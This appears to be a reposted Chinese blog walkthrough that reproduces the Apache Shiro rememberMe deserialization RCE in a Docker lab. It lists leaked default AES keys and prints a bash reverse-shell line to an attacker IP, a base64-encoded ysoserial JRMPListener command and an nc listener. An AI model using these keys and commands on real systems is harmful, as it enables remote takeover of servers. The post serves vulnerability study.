Apache Shiro反序列化遠程代碼執行復現


 

最近也是看shiro漏洞比較多,所以自己也在本地復現了一下,拿出來與大家一起分享

0x00 關於Apache Shiro

Apache shiro是一個Java安全框架,提供了認證、授權、加密和會話管理功能,為解決應⽤安全提供了相應的API:

認證-⽤用戶身份識別,常被稱為用戶”登錄”
授權-訪問控制
密碼加密-保護或隱藏數據防止被偷窺
會話管理-用戶相關的時間敏感的狀態

0x01 環境搭建

漏洞版本<=1.2.4,使用docker搭建

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

訪問80端口即可訪問漏洞環境

 

0x02 所需工具

(1)攻擊機kali(192.168.10.101)

(2)centos7靶機(192.168.10.105)

(3)docker環境

(4)shiro.py利用腳本

(5)ysoserial.jar(java反序列化利用工具)

 

0x03 漏洞原理

從官方的 issue 上來看,存在幾個重要的點:

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密鑰硬編碼
  • Java serialization

 

Shiro550:
shiro≤1.2.4版本,默認使⽤了CookieRememberMeManager,由於AES使用的key泄露,導致反序列化的cookie可控,從而引發反序列化攻擊。(理論上只要AES加密鑰泄露,都會導致反序列化漏洞)

整個漏洞簡單的cookie處理流程是:得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化。除了找到相關的參數(默認rememberMe)以外,還需要結合如下因素:

shiro在1.2.4版本之前, AES的模式為CBC, IV是隨機生成的,並且IV並沒有真正使用起來。所以整個AES加解密過程的key就很重要了,正是因為AES使用默認的KEY/常見的KEY/KEY泄露導致反序列化的cookie可控,從⽽引發反序列化漏洞。


常見的key如下:

kPH+bIxk5D2deZiIxcaaaA==(1.2.4默認key) 2AvVhdsgUs0FSA3SDFAdag== 4AvVhmFLUs0KTA3Kprsdag== 3AvVhmFLUs0KTA3Kprsdag== wGiHplamyXlVB11UXWol8g== Z3VucwAAAAAAAAAAAAAAAA== 6ZmI6I2j5Y+R5aSn5ZOlAA== ZUdsaGJuSmxibVI2ZHc9PQ== 1QWLxg+NYmxraMoxAXu/Iw==

 

有時候可能存在未知key的情況,那么可以采取 Shiro-721 的報錯邏輯來進⾏遍歷key(前提是正常登錄得到一個rememberMe的值):


Shiro721:

rememberMe cookie通過AES-128-CBC模式加密,易受到Padding Oracle攻擊。可以通過結合有效的rememberMe cookie作為Padding Oracle攻擊的前綴,然后精⼼制作rememberMe來進⾏反序列化攻擊。


Tip:可以結合JRMP gadget使⽤用,可以⼤大幅減少生成序列化數據的長度,同時在1.2.4版本后,shiro已經更換 AES-CBC AES-CBC 為 AES-GCM AES-GCM ,無法再通過Padding Oracle遍歷key。

 

0x04 漏洞演示

我們搭建好環境就是這樣一個界面

 

 

 

然后輸入用戶名,密碼,勾選Remember Me選項

用burp抓包,然后重放一下,go

 

 

發現返回包中有rememberMe=deleteMe的字樣(這是shiro漏洞的標志)

說明存在shiro漏洞

 

我們先得知道他所用的key是啥,有一個工具很好用,用它可以在dnslog上成功打出key

 

 

 

 

 ps:shiro.py腳本中默認用的是"KPH......"這個key,若打出的key不同,可以修改

 

然后我們來構造payload來進行反彈shell的操作

寫好反彈shell的命令

bash -i >& /dev/tcp/192.168.10.101/666 0>&1

 

然后轉換成加密后的指令(去這個網站http://www.jackson-t.ca/runtime-exec-payloads.html)

 

 

 

將指令合成為一個java的監聽指令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMS82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'

 

運行它開啟java一個監聽端口

 

 

 

利用腳本向java發送請求生成poc

python shiro.py 192.168.10.101:6666

 

 

然后先在kali上開啟一個監聽

nc -lvp 666

 

 

然后將生成的rememberMe=*******放到發送包的Cookie中

 

 

這時成功反彈了shell

 

ps: shiro.py 和ysoserial.jar要放在同一路徑下

 

 

參考:http://vlambda.com/wz_wAgsAcgbFI.html

          https://paper.seebug.org/shiro-rememberme-1-2-4/

   https://blog.csdn.net/weixin_38166689/article/details/101154245

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM